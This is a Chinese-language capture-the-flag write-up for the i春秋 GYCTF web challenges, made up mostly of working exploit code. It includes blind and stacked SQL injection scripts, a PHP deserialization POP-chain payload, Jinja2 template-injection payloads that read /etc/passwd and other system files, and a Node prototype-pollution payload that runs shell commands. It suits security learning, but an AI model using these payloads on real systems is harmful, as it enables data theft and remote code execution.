i春秋 gyctf web writeup

这几天打了i春秋的比赛,好多都是sql注入,有些题还是挺有意思的,这里记录一下,复现环境在buu上

招聘网站

随便用xray去fuzz一下,在注册处有时间盲注,挺白给的

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time


url = "http://xx/index.php?register"


regname_template = """'^(select/**/case/**/when(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))>{1})then(sleep(4))else(1)end)^'"""
regname_template = """'^(select/**/case/**/when(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),{0},1))>{1})then(sleep(4))else(1)end)^'"""
regname_template = """'^(select/**/case/**/when(ascii(substr((select/**/group_concat(flaaag)/**/from/**/flag),{0},1))>{1})then(sleep(4))else(1)end)^'"""


index = 1
flag = ""
while True:
u_bound = 255; l_bound = 0
while u_bound >= l_bound:
m_bound = (u_bound + l_bound) //2
regname = regname_template.format(index, m_bound)
post_data = {
"regname": regname,
"regpass": "toor"
}


try:
res = requests.post(url, data=post_data, timeout=2)
except requests.exceptions.ReadTimeout:
l_bound = m_bound + 1
continue
u_bound = m_bound - 1
tmp = m_bound
flag += chr(tmp)
index += 1
print(flag)

ezupload

纯白给,都懒得写wp,随便穿个webshell就过了,运行根目录下的readflag直接出

盲注

过滤了select和堆叠注入,但是题目给了字段名,直接regexp去匹配就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string

url = "?id=if((fl4g%0aregexp%0a{0}),sleep(5),1)"
flag = "flag"
for i in range(50):
print("round "+str(i))
for j in string.ascii_lowercase + string.digits + '-}{':
try:
tmp = url.format('"^'+flag+j+'"')
#print(tmp)
d = requests.get(tmp)
if d.status_code == 404:
flag+=j
print(flag)
break
#print(d.text)
except:
pass
#exit()

babyphp

这题比赛的时候没做出来,赛后看了看,题目有www.zip,直接审源码

有个safe方法

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

和之前0ctf的piapiapia很像,在数据已经序列化的情况下使用过滤函数改变了序列化字符的长度,导致可以逃逸字符出来,然后注入对象

然后就是pop链的寻找了,可以利用UpdateHelper的__destruct触发User的__toString然后走到Info的__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来

pop链利用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $password;
public $mysqli;
public $token;
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;
echo serialize($c);

?>

然后就是想办法逃逸了,先生成payload,然后计算payload的字符数,再插入黑名单里的词来逃逸,经过计算

最终payload如下

1
2
3
url:http://ip:port/update.php
postdata:
age=&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

这样就可以查到admin的密码,解一下是yingyingying,登陆就有flag了

easysqli

宽字节+堆叠绕过pdo,参考这篇https://www.freebuf.com/articles/web/216336.html

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import binascii
import time

sql_template = "select if((ascii(substr((select group_concat(fllllll4g) from table1),{0},1))>{1}),sleep(5),1)"
url = "http://0474baf59fe0454495d7a4929a4a7fde3b464a597a1a4bb2.changame.ichunqiu.com/?id="

index = 1
flag = ""
while True:
u_bound = 255; l_bound = 0
while u_bound >= l_bound:
m_bound = (u_bound + l_bound) //2
sql = sql_template.format(index, m_bound)
hex_string = binascii.b2a_hex(sql.encode('utf8'))
query = '''1%df';set/**/@a=0x{0};prepare/**/eee/**/from/**/@a;execute/**/eee;'''.format(hex_string.decode('utf8'))
try:dd
res = requests.get(url + query, timeout=2)
except requests.exceptions.ReadTimeout:
l_bound = m_bound + 1
continue
u_bound = m_bound - 1
tmp = m_bound
flag += chr(tmp)
index += 1
print(flag)

blacklist

又是一道注入,真就全员堆叠,xswl,先通过堆叠注入来show tables,然后经过查找可以使用handler

参考链接:https://www.0x002.com/2020/%E5%AF%B9MYSQL%E6%B3%A8%E5%85%A5%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%E5%8F%8A%E9%83%A8%E5%88%86Trick%E7%9A%84%E5%BD%92%E7%B1%BB%E5%B0%8F%E7%BB%93/#handler%E8%AF%AD%E5%8F%A5%E4%BB%A3%E6%9B%BFselect%E6%9F%A5%E8%AF%A2

exp如下

1
1';handler FlagHere open as t;handler t read first;#

ezsqli

过滤了in,on字符,就nm离谱

参考这篇:https://www.anquanke.com/post/id/193512,可以查表名,但是字段名不知道,就得想点骚操作了

1
(select 1,{})>(select * from f1ag_1s_h3r3_hhhhh limit 1)

先查出来,然后比较每一位,这样去盲注就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import string

temp="[email protected]#$%^&*()_-=+{}"
url = "http://xx/"

def get_database():
flag = ""
for i in range(1, 50):
for j in string.printable:
paramsPost = {"id": "0^(substr((version()),{0},1)='{1}')\x23".format(i, j)}
response = requests.post(url,data=paramsPost)
if 'Nu1L' in response.content:
flag = flag + j
print(flag)
break

def get_tablename():
flag = ""
# users233333333333333,f1ag_1s_h3r3_hhhhh
for i in range(1, 100):
for j in string.printable:
paramsPost = {"id": "0^(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1)='{1}')\x23".format(i, j)}
response = requests.post(url,data=paramsPost)
if 'Nu1L' in response.content:
flag = flag + j
print(flag)
break


def get_flag():
flag = ""
t="0x"
# users233333333333333,f1ag_1s_h3r3_hhhhh
for i in range(100):
for j in range(16,256):
p=t+hex(j)[2:]
print(p)
paramsPost = {"id": "((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh limit 1));\x23".format(p)}
response = requests.post(url,data=paramsPost)
if 'Nu1L' in response.content:
t=t+hex(j-1)[2:]
print(t)
break


get_flag()

注,就硬注

此处buu复现好像有些问题,用smile的exp也没打出来flag,也没细想

flask

可以模板注入参考链接:https://www.kingkk.com/2018/08/Flask-debug-pin%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

这个exp可以任意文件读,

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

获取/proc/self/cgroup

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}

获取mac地址

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address', 'r').read() }}{% endif %}{% endfor %}

生成pin之后,import os就可以直接看flag了

easythink

tp6.0的session可控写shell的洞,写进去之后是绕过bypass disable function,用7.2通杀的那个exp就好了

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

ezexpress

upperCase可以绕过注册,参考这个:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

之后是框架的原型链污染,污染outputFunctionName,这个出过好几次了,由于不能数据外带,而且有回显,可以直接将结果返回在info界面

exp如下

1
2
3
Content-Type: application/json

{"lua":"aaa","__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor.__load('child_process').execSync('cat /flag'); //"}}

node_game

搞了一晚上,不知道哪里出了问题,大致思路是http头注入,插一个post包来ssrf,传pug模板来getshell

和HackIM 2020 的split second很像,但是不知道哪里出了问题

后来作者发了wp:http://blog.5am3.com/2020/02/11/ctf-node1/

应该是还有没编码的地方,很迷,心态很崩

0%